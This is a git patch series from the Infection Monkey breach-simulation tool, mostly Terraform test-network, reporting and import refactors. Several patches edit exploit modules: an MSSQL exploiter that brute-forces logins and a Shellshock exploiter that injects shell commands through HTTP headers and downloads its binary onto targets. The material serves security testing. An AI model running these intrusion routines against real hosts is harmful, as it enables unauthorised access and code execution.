-143,7 +143,7 @@ resource "google_compute_instance_from_template" "shellshock-8" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.8" } } @@ -158,11 +158,11 @@ resource "google_compute_instance_from_template" "tunneling-9" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.9" } network_interface{ - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.9" } } @@ -177,11 +177,11 @@ resource "google_compute_instance_from_template" "tunneling-10" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.10" } network_interface{ - subnetwork="tunneling2-main" + subnetwork="${local.resource_prefix}tunneling2-main" network_ip="10.2.0.10" } } @@ -196,7 +196,7 @@ resource "google_compute_instance_from_template" "tunneling-11" { auto_delete = true } network_interface{ - subnetwork="tunneling2-main" + subnetwork="${local.resource_prefix}tunneling2-main" network_ip="10.2.0.11" } } @@ -211,7 +211,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.11" } } @@ -226,7 +226,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.12" } } @@ -241,7 +241,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.13" } } @@ -257,7 +257,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.14" } } @@ -272,7 +272,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.15" } } @@ -287,7 +287,7 @@ resource "google_compute_instance_from_template" "mssql-16" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.16" } } @@ -302,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.17" access_config { // Cheaper, non-premium routing @@ -322,7 +322,7 @@ resource "google_compute_instance_from_template" "weblogic-18" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.18" } } @@ -337,7 +337,7 @@ resource "google_compute_instance_from_template" "weblogic-19" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.19" } } @@ -352,7 +352,7 @@ resource "google_compute_instance_from_template" "smb-20" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.20" } } @@ -367,7 +367,7 @@ resource "google_compute_instance_from_template" "scan-21" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.21" } } @@ -382,7 +382,7 @@ resource "google_compute_instance_from_template" "scan-22" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.22" } } @@ -397,7 +397,7 @@ resource "google_compute_instance_from_template" "struts2-23" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.23" } } @@ -412,7 +412,7 @@ resource "google_compute_instance_from_template" "struts2-24" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.24" } } @@ -429,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.250" access_config { // Cheaper, non-premium routing (not available in some regions) @@ -450,7 +450,7 @@ resource "google_compute_instance_from_template" "island-windows-251" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.251" access_config { // Cheaper, non-premium routing (not available in some regions) diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf index ed48864d9..6ae6dafdc 100644 --- a/envs/monkey_zoo/terraform/templates.tf +++ b/envs/monkey_zoo/terraform/templates.tf @@ -1,5 +1,5 @@ resource "google_compute_instance_template" "ubuntu16" { - name = "ubuntu16" + name = "${local.resource_prefix}ubuntu16" description = "Creates ubuntu 16.04 LTS servers at europe-west3-a." tags = ["test-machine", "ubuntu16", "linux"] @@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" { } resource "google_compute_instance_template" "windows2016" { - name = "windows2016" + name = "${local.resource_prefix}windows2016" description = "Creates windows 2016 core servers at europe-west3-a." tags = ["test-machine", "windowsserver2016", "windows"] @@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" { email="${local.service_account_email}" scopes=["cloud-platform"] } -} \ No newline at end of file +} From 005618072dfec88893ecd5c635b65bf9613054d2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 11:46:28 +0300 Subject: [PATCH 12/24] Removed unused mssqlexec objects property --- monkey/infection_monkey/exploit/mssqlexec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9e8fdc9fb..61fcd1823 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -43,7 +43,6 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None - self.monkey_binary_on_host_path = None self.monkey_server = None self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) From 8484925a64a1c90ccb9cdb54c2b450fe8e92181b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:05:46 +0300 Subject: [PATCH 13/24] Added aws_instance_id field to monkey model --- monkey/monkey_island/cc/models/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 35fcd3fcd..c0eeb20b3 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -38,6 +38,8 @@ class Monkey(Document): ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") command_control_channel = EmbeddedDocumentField(CommandControlChannel) + aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + # instance. See https://github.com/guardicore/monkey/issues/426. # LOGIC @staticmethod From 02c7d6c30e740948f3be251a1e927099019aa0a8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 12:11:47 +0300 Subject: [PATCH 14/24] Added docs about order of method calls --- monkey/infection_monkey/exploit/mssqlexec.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 61fcd1823..c08aec28d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -47,6 +47,10 @@ class MSSQLExploiter(HostExploiter): self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): + """ + First this method brute forces to get the mssql connection (cursor). + Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after + """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) From 5ab36ffd0175ea06d2cc76414e3b16be32ada516 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 16:06:49 +0300 Subject: [PATCH 15/24] Added firewall rules, fixed buggy ones --- envs/monkey_zoo/terraform/firewalls.tf | 31 ++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index cafb0181d..b183a8d32 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -35,7 +35,7 @@ resource "google_compute_firewall" "monkeyzoo-in" { direction = "INGRESS" priority = "65534" - source_ranges = ["10.2.2.0/24"] + source_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "monkeyzoo-out" { @@ -48,7 +48,7 @@ resource "google_compute_firewall" "monkeyzoo-out" { direction = "EGRESS" priority = "65534" - destination_ranges = ["10.2.2.0/24"] + destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "tunneling-in" { @@ -60,7 +60,7 @@ resource "google_compute_firewall" "tunneling-in" { } direction = "INGRESS" - source_ranges = ["10.2.1.0/28"] + source_ranges = ["10.2.2.0/24", "10.2.0.0/28"] } resource "google_compute_firewall" "tunneling-out" { @@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" { } direction = "EGRESS" - destination_ranges = ["10.2.1.0/28"] + destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"] +} +resource "google_compute_firewall" "tunneling2-in" { + name = "${local.resource_prefix}tunneling2-in" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "INGRESS" + source_ranges = ["10.2.1.0/27"] +} + +resource "google_compute_firewall" "tunneling2-out" { + name = "${local.resource_prefix}tunneling2-out" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "EGRESS" + destination_ranges = ["10.2.1.0/27"] } From 3a290b46acfa52a20827aa3f1549bd7016c1f7a0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 5 Sep 2019 16:40:02 +0300 Subject: [PATCH 16/24] Fixed T1078 attack technique not implemented, empty PBA message and other bugs --- .../post_breach/actions/users_custom_pba.py | 2 +- monkey/infection_monkey/post_breach/pba.py | 6 +++++- monkey/monkey_island/cc/services/config_schema.py | 4 ++-- .../cc/ui/src/components/report-components/PostBreach.js | 2 +- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a388813ab..118868d0c 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -27,7 +27,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__("File execution") + super(UsersPBA, self).__init__("Custom post breach action") self.filename = '' if not is_windows_os(): # Add linux commands to PBA's diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 86addd009..926594192 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -12,6 +12,7 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' +EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" class PBA(object): """ @@ -73,7 +74,10 @@ class PBA(object): :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True + output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True) + if not output: + output = EXECUTION_WITHOUT_OUTPUT + return output, True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 93b096ffa..4ef418b6c 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -406,7 +406,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -421,7 +421,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determines whether to use Mimikatz" }, } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index aacdc8845..ea39e3c45 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -24,7 +24,7 @@ let renderPbaResults = function (results) { }; const subColumns = [ - {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }}, + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160}, {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} ]; From ee10ca90507b8ba100fb99f292e91fae8bf43fbe Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Fri, 6 Sep 2019 11:11:19 +0700 Subject: [PATCH 17/24] move try_lock to HostExploiter --- monkey/infection_monkey/exploit/__init__.py | 10 ++++ monkey/infection_monkey/exploit/shellshock.py | 47 +++++++++---------- 2 files changed, 31 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 9db1bad47..a75675942 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -76,6 +76,16 @@ class HostExploiter(object): powershell = True if "powershell" in cmd.lower() else False self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + def _try_lock(self, create_file_fn, path): + """ + Create temporary file on target machine to avoid collision of long-running exploiters + :return: True if no other monkey is running same exploit + """ + return create_file_fn(path) + + def _exit_lock(self, remove_file_fn, path): + remove_file_fn(path) + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 8b18590de..46de37797 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -20,6 +20,7 @@ LOG = logging.getLogger(__name__) TIMEOUT = 2 TEST_COMMAND = '/bin/uname -a' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +LOCK_HELPER_FILE = '/tmp/monkey_shellshock' class ShellShockExploiter(HostExploiter): @@ -108,8 +109,10 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - if not self._try_lock(exploit, url, header): - continue + if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header), + path=LOCK_HELPER_FILE): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) @@ -127,7 +130,8 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - self._exit_lock(exploit, url, header) + self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header), + path=LOCK_HELPER_FILE) if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): @@ -187,30 +191,21 @@ class ShellShockExploiter(HostExploiter): LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return False, - @classmethod - def _try_lock(cls, exploit, url, header): - """ - Checks if another monkey is running shellshock exploit - :return: True if no monkey is running shellshock exploit - """ - file_path = '/tmp/monkey_lock' - if cls.check_remote_file_exists(url, header, exploit, file_path): - LOG.info("Another monkey is running shellshock exploit") - return False - cmdline = 'echo AAAA > %s' % file_path - run_path = exploit + cmdline - cls.attack_page(url, header, run_path) - return True + def _create_lock_file(self, exploit, url, header): + def f(filepath): + if self.check_remote_file_exists(url, header, exploit, filepath): + LOG.info("Another monkey is running shellshock exploit") + return False + cmd = exploit + 'echo AAAA > %s' % filepath + self.attack_page(url, header, cmd) + return True + return f - @classmethod - def _exit_lock(cls, exploit, url, header): - """ - Remove lock file from target machine - """ - file_path = '/tmp/monkey_lock' - cmdline = 'rm %s' % file_path - run_path = exploit + cmdline - cls.attack_page(url, header, run_path) + def _remove_lock_file(self, exploit, url, header): + def f(filepath): + cmd = exploit + 'rm %s' % filepath + self.attack_page(url, header, cmd) + return f @staticmethod def attack_page(url, header, attack): From 7b0bf71279112196954c7be834bc20fa5c2390b2 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Sat, 7 Sep 2019 07:14:11 +0700 Subject: [PATCH 18/24] update --- monkey/infection_monkey/exploit/__init__.py | 12 +-------- monkey/infection_monkey/exploit/shellshock.py | 27 +++++++------------ 2 files changed, 11 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index a75675942..ad38f50ce 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -75,17 +75,7 @@ class HostExploiter(object): """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) - - def _try_lock(self, create_file_fn, path): - """ - Create temporary file on target machine to avoid collision of long-running exploiters - :return: True if no other monkey is running same exploit - """ - return create_file_fn(path) - - def _exit_lock(self, remove_file_fn, path): - remove_file_fn(path) - + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 46de37797..78e668fc1 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -109,9 +109,8 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header), - path=LOCK_HELPER_FILE): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + if not self._create_lock_file(exploit, url, header): + LOG.info("Another monkey is running shellshock exploit") return True http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) @@ -130,8 +129,7 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header), - path=LOCK_HELPER_FILE) + self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): @@ -192,20 +190,15 @@ class ShellShockExploiter(HostExploiter): return False, def _create_lock_file(self, exploit, url, header): - def f(filepath): - if self.check_remote_file_exists(url, header, exploit, filepath): - LOG.info("Another monkey is running shellshock exploit") - return False - cmd = exploit + 'echo AAAA > %s' % filepath - self.attack_page(url, header, cmd) - return True - return f + if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): + return False + cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) + return True def _remove_lock_file(self, exploit, url, header): - def f(filepath): - cmd = exploit + 'rm %s' % filepath - self.attack_page(url, header, cmd) - return f + cmd = exploit + 'rm %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) @staticmethod def attack_page(url, header, attack): From 72cae8624ce9bdb012d30a5bb1ac015cf17a3288 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:45:20 +0300 Subject: [PATCH 19/24] Move AWS exporting to proper subfolder --- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/services/report.py | 2 +- monkey/monkey_island/cc/services/reporting/__init__.py | 0 .../cc/{resources => services/reporting}/aws_exporter.py | 2 +- .../cc/{resources => services/reporting}/exporter.py | 0 .../cc/{ => services/reporting}/exporter_init.py | 4 ++-- .../cc/{ => services/reporting}/report_exporter_manager.py | 0 7 files changed, 5 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/__init__.py rename monkey/monkey_island/cc/{resources => services/reporting}/aws_exporter.py (99%) rename monkey/monkey_island/cc/{resources => services/reporting}/exporter.py (100%) rename monkey/monkey_island/cc/{ => services/reporting}/exporter_init.py (78%) rename monkey/monkey_island/cc/{ => services/reporting}/report_exporter_manager.py (100%) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 5b9bda8cb..b6c7cb7ab 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from monkey_island.cc.exporter_init import populate_exporter_list +from cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 54bb6f74e..2b89be782 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -11,7 +11,7 @@ from six import text_type from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.report_exporter_manager import ReportExporterManager +from cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py similarity index 99% rename from monkey/monkey_island/cc/resources/aws_exporter.py rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py index 52ccfeb5d..52f3797a3 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from monkey_island.cc.resources.exporter import Exporter +from cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py similarity index 100% rename from monkey/monkey_island/cc/resources/exporter.py rename to monkey/monkey_island/cc/services/reporting/exporter.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py similarity index 78% rename from monkey/monkey_island/cc/exporter_init.py rename to monkey/monkey_island/cc/services/reporting/exporter_init.py index fdf26fe8f..b6304927f 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,7 +1,7 @@ import logging -from monkey_island.cc.report_exporter_manager import ReportExporterManager -from monkey_island.cc.resources.aws_exporter import AWSExporter +from cc.services.reporting.report_exporter_manager import ReportExporterManager +from cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py similarity index 100% rename from monkey/monkey_island/cc/report_exporter_manager.py rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py From 004cfa17f3d5bd66985b45d2c0775e574c4ece4c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:45:58 +0300 Subject: [PATCH 20/24] Bugfix, add AWS exporter only when running with AWS config. --- monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index b6304927f..7a9c0d64f 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -3,14 +3,14 @@ import logging from cc.services.reporting.report_exporter_manager import ReportExporterManager from cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService - +from monkey_island.cc.environment.environment import env logger = logging.getLogger(__name__) def populate_exporter_list(): manager = ReportExporterManager() RemoteRunAwsService.init() - if RemoteRunAwsService.is_running_on_aws(): + if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()): manager.add_exporter_to_list(AWSExporter) if len(manager.get_exporters_list()) != 0: From bf3ad35124848ef3b4a9c682e5881e6590c565b6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:54:41 +0300 Subject: [PATCH 21/24] Move try catch to better handle multiple exporters --- .../cc/services/reporting/report_exporter_manager.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index 5e51a43e1..c934618db 100644 --- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -27,9 +27,9 @@ class ReportExporterManager(object): self._exporters_set.add(exporter) def export(self, report): - try: - for exporter in self._exporters_set: - logger.debug("Trying to export using " + repr(exporter)) + for exporter in self._exporters_set: + logger.debug("Trying to export using " + repr(exporter)) + try: exporter().handle_report(report) - except Exception as e: - logger.exception('Failed to export report, error: ' + e.message) + except Exception as e: + logger.exception('Failed to export report, error: ' + e.message) From e010ea5b39f48af14a32fb82ebfab6b2b2ef35dc Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 21:11:20 +0300 Subject: [PATCH 22/24] Fully explict path all the things --- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/services/report.py | 4 ++-- monkey/monkey_island/cc/services/reporting/aws_exporter.py | 2 +- monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++-- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index b6c7cb7ab..8c817e935 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from cc.services.reporting.exporter_init import populate_exporter_list +from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2b89be782..409586e66 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -11,12 +11,12 @@ from six import text_type from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses, get_subnets -from pth_report import PTHReportService +from monkey_island.cc.services.pth_report import PTHReportService from common.network.network_range import NetworkRange __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 52f3797a3..84940df56 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from cc.services.reporting.exporter import Exporter +from monkey_island.cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index 7a9c0d64f..bd4e82f3e 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,7 +1,7 @@ import logging -from cc.services.reporting.report_exporter_manager import ReportExporterManager -from cc.services.reporting.aws_exporter import AWSExporter +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.environment.environment import env logger = 